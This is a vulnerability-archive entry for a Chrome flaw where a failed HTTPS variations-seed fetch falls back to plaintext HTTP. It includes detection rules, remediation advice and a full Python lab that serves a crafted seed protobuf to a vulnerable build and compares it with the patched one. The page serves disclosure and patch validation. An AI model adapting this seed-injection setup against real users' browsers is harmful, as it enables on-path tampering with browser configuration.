PoC Archive PoC Archive
CVE-2026-134401 category: network CVSS 9.6 (CRITICAL)
Unverified

Chrome VariationsService Plaintext HTTP Seed Fallback (CVE-2026-134401)

Published: 2026-11-25 • Researcher: Abraxas Labs (PoC, abraxas); Google Chrome team (vendor advisory / fix)

Target software Google Chrome (Variations service, components/variations/service/variations_service.cc)
Affected versions Chrome prior to 158.0.8127.88 (NVD range). Lab tests vulnerable 158.0.8127.36 against fixed 158.0.8127.88; upstream notes the Extended Stable fix is 156.0.8078.114
Status PoC
Severity Critical · CVSS 9.6
CVSS 9.6/10
Severity
Critical
CVE
CVE-2026-134401
Category
network
Affected product
Google Chrome (Variations service, components/variations/service/variations_service.cc)
Affected versions
Chrome prior to 158.0.8127.88 (NVD range). Lab tests vulnerable 158.0.8127.36 against fixed 158.0.8127.88; upstream notes the Extended Stable fix is 156.0.8078.114
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-24
Author / ResearcherAbraxas Labs (PoC, abraxas); Google Chrome team (vendor advisory / fix)
CVE / AdvisoryCVE-2026-134401
Categorynetwork
SeverityCritical
CVSS Score9.6 (CVSS 3.1, per NVD and the Chrome release notes; vector: See references)
StatusPoC
TagsChrome, VariationsService, MITM, HTTP-fallback, seed-injection, improper-input-validation, CWE-20, browser, on-path, downgrade
RelatedN/A

Affected Target

FieldValue
Software / SystemGoogle Chrome (Variations service, components/variations/service/variations_service.cc)
Versions AffectedChrome prior to 158.0.8127.88 (NVD range). Lab tests vulnerable 158.0.8127.36 against fixed 158.0.8127.88; upstream notes the Extended Stable fix is 156.0.8078.114
Language / PlatformChromium C++ (browser process); PoC is Python 3.11+ and shell, macOS arm64 Chrome for Testing builds
Authentication RequiredNo
Network Access RequiredYes (on-path / man-in-the-middle position)

Summary

Chrome’s VariationsService fetches its variations seed, the configuration that drives A/B testing and feature flags, from Google over HTTPS. Before the fix, when that HTTPS fetch failed, Chrome immediately retried the same fetch over a plaintext HTTP URL and fed the response into its seed store inside the browser process, outside the sandbox. An attacker in an on-path position can therefore break the HTTPS fetch and hand Chrome an attacker-built seed protobuf that the browser processes and persists. Google rated the defect Critical (CWE-20, CVSS 9.6) and shipped an emergency single-fix release, 158.0.8127.88.

Vulnerability Details

Root Cause

In the pre-fix VariationsService, the retry path MaybeRetryOverHTTP in components/variations/service/variations_service.cc, after a failed HTTPS seed fetch, retried immediately over insecure_variations_server_url_ (a plaintext HTTP URL) and passed the response into the seed store with no transport-authenticated trust boundary. The persisted seed is browser-process configuration, so its trust properties matter: a response delivered over unauthenticated HTTP is treated the same way as one fetched over HTTPS. The fix cherry-picked into 158.0.8127.88 gates the retry behind a new kVariationsHttpFallback feature that is disabled by default; the fix commit carries b:554051967, the tracker referenced by the CVE record. The lab intentionally uses Chrome’s own test-acceptance switch for unsigned seeds, so it demonstrates the transport fallback only, not an ECDSA signature bypass.

Attack Vector

An on-path attacker breaks the HTTPS seed fetch (for example on hostile Wi-Fi, by dropping or resetting connections to the variations host). Chrome’s pre-fix retry then issues a plaintext HTTP GET for the seed. The attacker answers it with a crafted VariationsSeed protobuf, which the browser process parses and stores. The lab emulates this with a local TCP listener that accepts and immediately closes every HTTPS connection (the same failure mode) plus a plaintext HTTP endpoint on 127.0.0.1 serving the attacker seed; Chrome is pointed at both with the variations-server-url and variations-insecure-server-url test switches.

Impact

Attacker-controlled configuration is accepted and persisted by the browser process from an unauthenticated response, which the NVD description rates as potentially leading to arbitrary code execution outside the sandbox when combined with a crafted HTML page. The archived lab proves only the transport fallback and the persistence of the injected seed; it does not include the second-stage payload or demonstrate code execution. It is a witness-only differential PoC, useful for confirming exposure and validating the patch rather than for weaponization.

Environment / Lab Setup

Output
OS:          macOS arm64 (lab hardcodes chrome-mac-arm64 builds)
Target:      Chrome for Testing 158.0.8127.36 (vulnerable) and 158.0.8127.88 (fixed)
Attacker:    Local Python 3.11+ process, endpoints bound to 127.0.0.1 only
Tools:       curl, unzip, Python 3.11+; first run downloads ~400 MB of pinned builds
Ports:       18710/tcp plaintext seed server, 18711/tcp failing HTTPS listener
Runtime:     ~6 min vulnerable case, ~4.5 min fixed absence window

Setup Steps

Shell script
1
2
3
4
chmod +x run.sh
./run.sh

python3 run-lab.py

The first run needs network access to storage.googleapis.com for the pinned builds; later runs reuse the cache. No external host is contacted by the exploit endpoints, which bind loopback only.

Proof of Concept

Step-by-Step Reproduction

  1. Fetch pinned builds — run.sh downloads Chrome for Testing 158.0.8127.36 (pre-fix) and 158.0.8127.88 (emergency fix) into cft-cache/ and verifies the app bundle is executable.
  2. Build the attacker seed — poc.py hand-encodes a VariationsSeed protobuf containing a study named CVE134401WITNESS with a default experiment and a fixed probability weight, matching the edition-2023 proto requirements.
  3. Stand up the attacker position — a FailListener on 127.0.0.1:18711 accepts and immediately closes every connection (simulating an on-path attacker breaking the HTTPS seed fetch), and a SeedServer on 127.0.0.1:18710 serves the seed over plaintext HTTP while counting seed GETs.
  4. Run the vulnerable build — Chrome 158.0.8127.36 is launched headless with a fresh profile, pointed at the failing HTTPS URL and the plaintext HTTP URL, plus the accept-empty-variations-seed-signature and short fetch-interval test switches; poc.py polls the profile for up to 360 s.
  5. Check the oracle — success requires a plaintext GET /seed at the HTTP server and the WITNESS marker present in the profile’s variations_compressed_seed pref (Local State) or a VariationsSeed file.
  6. Run the patched build — Chrome 158.0.8127.88 runs with fresh state for a 270 s absence window; the test passes only if it makes zero plaintext seed requests and persists no marker.

Exploit Code

See poc.py (differential lab and seed builder), run.sh (build fetch and runner) and run-lab.py (repository-root wrapper). Upstream notes and caveats are in upstream-README.md.

Python

Expected Output

Output
1
2
3
4
5
6
7
8
RESULT chrome-158.0.8127.36   pass  Google Chrome for Testing 158.0.8127.36
RESULT chrome-158.0.8127.88   pass  Google Chrome for Testing 158.0.8127.88
RESULT vuln-http-fallback     pass  1 plaintext GET /seed after failed HTTPS fetches
RESULT vuln-https-failed      pass  4 failed HTTPS seed connections
RESULT vuln-seed-accepted     pass  attacker seed persisted in profile via local-state-pref
RESULT fixed-no-http          pass  0 plaintext seed requests in 270s window
RESULT fixed-no-seed          pass  no attacker seed in profile
SUCCESS CVE-2026-134401 variations-http-fallback vulnerable build retried the seed fetch over plaintext HTTP and persisted the attacker-supplied seed; patched build never left HTTPS

Detection & Indicators of Compromise

  • Plaintext HTTP requests from Chrome to a variations/seed endpoint (port 80), especially a GET to a path such as /seed, immediately after failed HTTPS connections to the same host.
  • Outbound HTTPS connections to the variations endpoint that are accepted and then reset or closed, followed by a plaintext retry from the same browser process.
  • Chrome profiles whose Local State variations_compressed_seed pref (base64, gzip) decodes to unexpected study or experiment names, or whose seed file mtime changes outside normal update cadence.
  • Chrome process command lines containing variations-insecure-server-url, variations-server-url pointing at non-Google hosts, accept-empty-variations-seed-signature, or anomalously short variations-seed-fetch-interval values (these are test switches, not production defaults).
  • Unusual egress to port 80 from managed browsers on networks where only HTTPS egress is expected; correlate with captive-portal or Wi-Fi interception activity.

Log example:

Output
1
2
DENY  CONNECT variations.googleapis.com:443  (tls handshake reset by peer)
ALLOW GET     http://variations.googleapis.com/seed  200  application/octet-stream

SIEM / IDS rule (example, adapt to your log schema):

Output
1
2
3
alert http $HOME_NET any -> any 80 (msg:"Chrome variations seed fetched over plaintext HTTP"; \
  content:"GET"; http_method; content:"/seed"; http_uri; \
  content:"Chrome"; http_header; sid:9013440;)

Remediation

ActionDetail
PatchUpgrade to Chrome 158.0.8127.88 or later (156.0.8078.114 on Extended Stable). The fix disables the HTTP fallback by default, so a failed HTTPS seed fetch no longer retries over an unauthenticated transport.
WorkaroundBlock plaintext HTTP egress for browser traffic at the network edge and ensure failed HTTPS seed fetches fail closed; detect and alert on variations seed endpoints reachable over port 80. Removing the insecure URL or forcing an HTTPS-only seed URL via enterprise policy (See references) reduces exposure but is not a substitute for the patch.
Config HardeningEnforce browser updates via enterprise policy, keep TLS interception and captive-portal handling auditable, monitor for the test switches listed in Detection, and treat untrusted-network browsing as higher risk on unpatched builds.

References

Notes

Auto-ingested from https://github.com/abraxas/cve-2026-134401-chrome-variations-http-seed on 2026-11-25.

Review verdict: a real PoC, but a limited witness-only differential lab, so Status is PoC rather than Weaponized. It proves the transport fallback is real, attacker-triggerable, and that the response is accepted and persisted by the pre-fix browser process, while the patched build never leaves HTTPS. It explicitly does not forge the pinned ECDSA key (it uses Chrome’s own accept-empty-variations-seed-signature test switch, visible in the launch flags), carries no exploit payload, and does not demonstrate the code-execution outcome Google’s rating describes; that second stage (pairing the injected configuration with a crafted HTML page) is out of scope upstream.

Category: filed under network because the defect and the PoC are an on-path transport downgrade (HTTPS failure to plaintext HTTP seed injection), matching the archive’s network definition of protocol exploits and MitM; the worklist hint was binary, which describes the affected host application rather than this PoC’s attack vector.

License: AGPL-3.0 (LICENSE copied from upstream). Lab limitations: the pinned builds are macOS arm64 only (the runner hardcodes chrome-mac-arm64), the first run downloads about 400 MB, full runtime is roughly ten minutes, and it needs Chrome’s test switches and a fresh profile. The exploit code was not executed during archiving. Run only in an isolated lab against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/abraxas/cve-2026-134401-chrome-variations-http-seed (see README for attribution/license)
######################################################################################
#
#        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.
#       d88888 888  "88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b
#      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.
#     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  "Y888b.
#    d88P  888 888  "Y88b 8888888P"     d88P  888    d888b       d88P  888     "Y88b.
#   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       "888
#  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P
# d88P     888 8888888P"  888   T88b d88P     888 d88P   Y88b d88P     888  "Y8888P"
#
#                     888             d8888 888888b.    .d8888b.
#                     888            d88888 888  "88b  d88P  Y88b
#                     888           d88P888 888  .88P  Y88b.
#                     888          d88P 888 8888888K.   "Y888b.
#                     888         d88P  888 888  "Y88b     "Y88b.
#                     888        d88P   888 888    888       "888
#                     888       d8888888888 888   d88P Y88b  d88P
#                     88888888 d88P     888 8888888P"   "Y8888P"
#
#  Mail    : abraxas.null@proton.me
#
#  CVE: CVE-2026-134401 (Critical: 9.6)
#  Vendor: Chrome (Google)
#  Versions: Chrome < 158.0.8127.88
#  Impact: Browser process fetches its variations seed over plaintext HTTP after failed HTTPS and persists the attacker-supplied configuration
#  Requires: curl, unzip, Python 3.11+; first run downloads ~400MB of pinned Chrome for Testing builds
#
######################################################################################
#
#  RESEARCH / EDUCATIONAL USE ONLY.
#  Do not run, deploy, or use this material against any host unless you have
#  explicit written permission from both the party hosting this repository
#  and the owner of the target systems.
#
######################################################################################

import os as _os
import shutil as _shutil
import sys as _sys
import builtins as _builtins

_ART = {"abraxas": ["        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.", "       d88888 888  \"88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b", "      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.", "     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  \"Y888b.", "    d88P  888 888  \"Y88b 8888888P\"     d88P  888    d888b       d88P  888     \"Y88b.", "   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       \"888", "  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P", " d88P     888 8888888P\"  888   T88b d88P     888 d88P   Y88b d88P     888  \"Y8888P\""], "labs": ["                     888             d8888 888888b.    .d8888b.", "                     888            d88888 888  \"88b  d88P  Y88b", "                     888           d88P888 888  .88P  Y88b.", "                     888          d88P 888 8888888K.   \"Y888b.", "                     888         d88P  888 888  \"Y88b     \"Y88b.", "                     888        d88P   888 888    888       \"888", "                     888       d8888888888 888   d88P Y88b  d88P", "                     88888888 d88P     888 8888888P\"   \"Y8888P\""]}
_CVE = "CVE-2026-134401"
_EMAIL = "abraxas.null@proton.me"

_RST = "\033[0m"
_BLD = "\033[1m"
_CYAN = (0, 255, 249)
_MAGENTA = (255, 0, 212)
_PINK = (255, 77, 224)
_GREEN = (57, 255, 20)
_GOLD = (255, 230, 0)
_AMBER = (255, 201, 70)
_RED = (255, 64, 96)
_MUTED = (140, 155, 175)
_INK = (232, 255, 248)
_RAIN = [
    (255, 77, 224), (255, 0, 212), (191, 95, 255), (91, 140, 255),
    (0, 210, 255), (0, 255, 249), (57, 255, 20), (180, 255, 70),
    (255, 230, 0), (255, 201, 70), (255, 122, 24), (255, 64, 96),
]


def _on():
    return not _os.environ.get("NO_COLOR")


def _rgb(r, g, b):
    if not _on():
        return ""
    return f"\033[38;2;{r};{g};{b}m"


def _paint(text, rgb, bold=False):
    if not text or rgb is None:
        return text or ""
    prefix = _rgb(*rgb) + (_BLD if bold else "")
    return "".join(ch if ch == " " else prefix + ch for ch in text)


def _box(inner, border):
    edge = _rgb(*border) + "║" + _RST
    return edge + " " + inner + _RST + " " + edge


def _rule(left, right, border, width):
    return _rgb(*border) + left + "═" * (width - 2) + right + _RST


def _split(text, left_end, right_start, left_rgb, right_rgb, mid_rgb=None, left_bold=False):
    return (
        _paint(text[:left_end], left_rgb, bold=left_bold)
        + _paint(text[left_end:right_start], mid_rgb)
        + _paint(text[right_start:], right_rgb)
    )


def _fit(left, right, width, fill=" "):
    gap = max(width - len(left) - len(right), 1)
    return (left + fill * gap + right)[:width].ljust(width)


def _lerp(a, b, t):
    return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))


def _rain(x, width):
    if width <= 1:
        return _RAIN[0]
    t = (x / (width - 1)) * (len(_RAIN) - 1)
    i = min(int(t), len(_RAIN) - 2)
    return _lerp(_RAIN[i], _RAIN[i + 1], t - i)


def _logo_line(line):
    width = max(len(line), 1)
    out = []
    quoted = False
    for x, ch in enumerate(line):
        if ch == " ":
            out.append(ch)
            continue
        quoted ^= ch == '"'
        if ch == '"':
            color = _AMBER if quoted else _GOLD
        elif quoted:
            color = _GOLD
        else:
            color = _rain(x, width)
        out.append(_rgb(*color) + ch)
    return "".join(out) + _RST


def _banner_width(cols):
    art = _ART["abraxas"] + _ART["labs"]
    art_w = max(len(row) for row in art)
    content_w = min(max(art_w, 88), max(cols - 4, 40))
    box_w = content_w + 4
    if box_w > cols:
        content_w = max(cols - 4, 20)
        box_w = content_w + 4
    return content_w, box_w


def _title_row(width):
    left, right = " ABRAXAS LABS", "analyze · reverse · disclose"
    text = _fit(left, right, width)
    return _split(text, len(left), width - len(right), _CYAN, _MUTED, left_bold=True)


def _cve_row(width):
    left, right = " " + _CVE, "authorized research only"
    rest = max(width - len(left) - len(right), 3)
    text = (left + " local lab ".center(rest)[:rest] + right)[:width].ljust(width)
    return _split(text, len(left), width - len(right), _PINK, _GREEN, mid_rgb=_MAGENTA, left_bold=True)


def _mail_row(width):
    left, right = " Mail", _EMAIL
    text = _fit(left, right, width)
    return _split(text, len(left), width - len(right), _GOLD, _CYAN)


def _status_line():
    marks = {"[": _GREEN, "]": _GREEN, "*": _GREEN, "·": _PINK, "#": _PINK}
    text = "[*]  abraxas!null ready on #labs"
    return "".join(ch if ch == " " else _rgb(*marks.get(ch, _INK)) + ch for ch in text) + _RST


def print_abraxas_banner():
    cols = _shutil.get_terminal_size((120, 30)).columns
    content_w, box_w = _banner_width(cols)
    lines = [
        _rule("╔", "╗", _CYAN, box_w),
        _box(_title_row(content_w) + _RST, _CYAN),
        _rule("╠", "╣", _MAGENTA, box_w),
        _box(_cve_row(content_w) + _RST, _MAGENTA),
        _rule("╠", "╣", _MAGENTA, box_w),
    ]
    for glyph in _ART["abraxas"] + _ART["labs"]:
        vis = glyph[:content_w].ljust(content_w)
        lines.append(_box(_logo_line(vis), _MAGENTA))
    lines.extend([
        _rule("╠", "╣", _MAGENTA, box_w),
        _box(_mail_row(content_w) + _RST, _MAGENTA),
        _rule("╚", "╝", _CYAN, box_w),
        " " + _status_line(),
    ])
    _sys.stdout.write("\n".join(lines) + "\n\n")
    _sys.stdout.flush()


def _message_color(s):
    low = s.lower()
    stripped = s.lstrip()
    if low.startswith("success"):
        return _rgb(*_GREEN) + _BLD
    if low.startswith("fail"):
        return _rgb(*_RED) + _BLD
    if "user_id" in low:
        return _rgb(*_AMBER) + _BLD
    if low.startswith("status=") or "status=" in low[:20]:
        return _rgb(*_CYAN)
    if low.startswith("carrier"):
        return _rgb(*_MAGENTA)
    if stripped[:1] in "{[":
        return _rgb(*_GOLD)
    return _rgb(*_INK)


def _cprint(*args, **kwargs):
    sep = kwargs.get("sep", " ")
    s = sep.join(str(a) for a in args)
    dest = kwargs.get("file", _sys.stdout)
    if dest is not _sys.stdout and dest is not _sys.stderr:
        _PRINT(*args, **kwargs)
        return
    extra = {k: v for k, v in kwargs.items() if k != "sep"}
    _PRINT(_message_color(s) + s + _RST, **extra)

print_abraxas_banner()
_PRINT = _builtins.print
_builtins.print = _cprint

"""Differential lab for CVE-2026-134401 (VariationsService HTTP seed fallback).

Runs two pinned Chrome for Testing builds against a local seed server:

- 158.0.8127.36 (vulnerable): when the HTTPS seed fetch fails twice, the
  browser retries immediately over plaintext HTTP and processes the response
  as a variations seed in the browser process.
- 158.0.8127.88 (patched): kVariationsHttpFallback is disabled, so no
  plaintext retry happens.

The attacker position is an endpoint that can fail the HTTPS seed fetch
(localhost listener that accepts and closes) and serve an attacker-built
seed protobuf over HTTP. The seed is Chrome's own test-acceptance path
(--accept-empty-variations-seed-signature); Google's ECDSA key is not
forged. Oracle: the plaintext HTTP GET arrives at the attacker server and
the injected seed, marker included, is persisted into the profile.
"""

import base64
import gzip
import json
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path

LAB = Path(__file__).resolve().parent
CACHE = LAB / "cft-cache"

VULN_VERSION = "158.0.8127.36"
FIXED_VERSION = "158.0.8127.88"
VULN_TAG = f"chrome-{VULN_VERSION}"
FIXED_TAG = f"chrome-{FIXED_VERSION}"

WITNESS_STUDY = "CVE134401WITNESS"
SEED_PATH = "/seed"
HTTP_PORT = 18710
FAIL_PORT = 18711
POLL_SECONDS = 360
FIXED_WINDOW_SECONDS = 270

RESULTS = []


def result(name, status, detail=""):
    RESULTS.append((name, status))
    print(f"RESULT {name:<22} {status:<5} {detail}".rstrip(), flush=True)


def proto_str(field: int, value: str) -> bytes:
    data = value.encode()
    return bytes([field << 3 | 2, len(data)]) + data


def proto_msg(field: int, payload: bytes) -> bytes:
    return bytes([field << 3 | 2, len(payload)]) + payload


def build_seed() -> bytes:
    """VariationsSeed{serial_number, study:[Study{name=WITNESS, default
    experiment}]}. Study.name / Experiment.name / probability_weight are
    LEGACY_REQUIRED in the edition-2023 protos, so they must be present."""
    experiment = proto_str(1, "default") + bytes([2 << 3, 0xE4, 0x07])  # weight 990
    study = (
        proto_str(1, WITNESS_STUDY)
        + proto_str(8, "default")
        + proto_msg(9, experiment)
    )
    return proto_str(1, "134401") + proto_msg(2, study)


class SeedServer:
    """Plaintext HTTP endpoint serving the attacker seed; counts requests."""

    def __init__(self, seed: bytes) -> None:
        self.seed = seed
        self.seed_gets = 0
        outer = self

        class Handler(BaseHTTPRequestHandler):
            def do_GET(self) -> None:
                if self.path.startswith(SEED_PATH):
                    outer.seed_gets += 1
                self.send_response(200)
                self.send_header("Content-Type", "application/octet-stream")
                self.send_header("Content-Length", str(len(outer.seed)))
                self.end_headers()
                self.wfile.write(outer.seed)

            def log_message(self, fmt: str, *args: object) -> None:
                pass

        self.httpd = ThreadingHTTPServer(("127.0.0.1", HTTP_PORT), Handler)
        self.thread = threading.Thread(target=self.httpd.serve_forever, daemon=True)

    def start(self) -> None:
        self.thread.start()


class FailListener:
    """TCP listener that accepts and immediately closes: the HTTPS seed fetch
    fails the same way an on-path attacker forces it to."""

    def __init__(self) -> None:
        self.conns = 0
        self.sock = None

    def start(self) -> None:
        import socket

        self.sock = socket.socket()
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", FAIL_PORT))
        self.sock.listen(8)
        self.sock.settimeout(0.5)
        threading.Thread(target=self._loop, daemon=True).start()

    def _loop(self) -> None:
        while True:
            try:
                conn, _ = self.sock.accept()
                self.conns += 1
                conn.close()
            except OSError:
                continue


def binary_path(tag: str) -> Path:
    return (CACHE / tag / "chrome-mac-arm64"
            / "Google Chrome for Testing.app/Contents/MacOS/Google Chrome for Testing")


def chrome_version(binary: Path) -> str:
    out = subprocess.run([str(binary), "--version"], capture_output=True,
                         text=True, timeout=60)
    return out.stdout.strip()


def profile_marker(profile: Path) -> str | None:
    """Find WITNESS_STUDY in the persisted seed: gunzip Local State's
    variations_compressed_seed pref and any VariationsSeed* seed file."""
    marker = WITNESS_STUDY.encode()
    local_state = profile / "Local State"
    if local_state.exists():
        try:
            prefs = json.loads(local_state.read_text(encoding="utf-8"))
            blob = prefs.get("variations_compressed_seed", "")
            if blob:
                raw = gzip.decompress(base64.b64decode(blob))
                if marker in raw:
                    return "local-state-pref"
        except (OSError, ValueError, EOFError):
            pass
    for path in profile.rglob("VariationsSeed*"):
        try:
            data = path.read_bytes()
            if marker in data:
                return f"file:{path.name}"
            if data[:2] == b"\x1f\x8b" and marker in gzip.decompress(data):
                return f"file:{path.name}"
        except (OSError, EOFError):
            continue
    return None


def launch(binary: Path, profile: Path) -> subprocess.Popen:
    argv = [
        str(binary),
        f"--user-data-dir={profile}",
        f"--variations-server-url=https://127.0.0.1:{FAIL_PORT}{SEED_PATH}",
        f"--variations-insecure-server-url=http://127.0.0.1:{HTTP_PORT}{SEED_PATH}",
        "--accept-empty-variations-seed-signature",
        "--variations-seed-fetch-interval=1",
        "--no-first-run",
        "--no-default-browser-check",
        "--disable-component-update",
        "--headless=new",
        "--disable-gpu",
        "about:blank",
    ]
    return subprocess.Popen(argv, stdout=subprocess.DEVNULL,
                            stderr=subprocess.DEVNULL)


def run_case(binary: Path, profile: Path, wait_seconds: int) -> tuple[int, str | None]:
    proc = launch(binary, profile)
    deadline = time.time() + wait_seconds
    marker = None
    while time.time() < deadline:
        time.sleep(5)
        marker = profile_marker(profile)
        if marker is not None:
            break
    if proc.poll() is None:
        proc.terminate()
        try:
            proc.wait(timeout=15)
        except subprocess.TimeoutExpired:
            proc.kill()
    return marker


def main() -> int:
    seed = build_seed()
    for tag, version in ((VULN_TAG, VULN_VERSION), (FIXED_TAG, FIXED_VERSION)):
        binary = binary_path(tag)
        if not binary.exists():
            result(f"{tag}-binary", "FAIL", f"missing {binary}; run.sh downloads it")
            return 1
        reported = chrome_version(binary)
        ok = version in reported
        result(f"chrome-{version}", "pass" if ok else "FAIL", reported or "no output")
        if not ok:
            return 1

    for sub in (".profiles/vuln", ".profiles/fixed"):
        (LAB / sub).mkdir(parents=True, exist_ok=True)

    fail = FailListener()
    fail.start()
    server = SeedServer(seed)
    server.start()

    marker = run_case(binary_path(VULN_TAG), LAB / ".profiles/vuln", POLL_SECONDS)
    got_http = server.seed_gets > 0
    result("vuln-http-fallback", "pass" if got_http else "FAIL",
           f"{server.seed_gets} plaintext GET {SEED_PATH} after failed HTTPS fetches"
           if got_http else "no plaintext seed fetch observed")
    result("vuln-https-failed", "pass" if fail.conns > 0 else "FAIL",
           f"{fail.conns} failed HTTPS seed connections")
    result("vuln-seed-accepted", "pass" if marker else "FAIL",
           f"attacker seed persisted in profile via {marker}"
           if marker else "no stored seed carries the marker")

    server.seed_gets = 0
    fixed_marker = run_case(binary_path(FIXED_TAG), LAB / ".profiles/fixed",
                            FIXED_WINDOW_SECONDS)
    result("fixed-no-http", "pass" if server.seed_gets == 0 else "FAIL",
           f"{server.seed_gets} plaintext seed requests in {FIXED_WINDOW_SECONDS}s window")
    result("fixed-no-seed", "pass" if fixed_marker is None else "FAIL",
           "no attacker seed in profile" if fixed_marker is None
           else f"marker found via {fixed_marker}")

    ok = all(status == "pass" for _, status in RESULTS)
    print("SUCCESS" if ok else "PARTIAL",
          "CVE-2026-134401 variations-http-fallback vulnerable build retried the"
          " seed fetch over plaintext HTTP and persisted the attacker-supplied"
          " seed; patched build never left HTTPS")
    return 0


if __name__ == "__main__":
    sys.exit(main())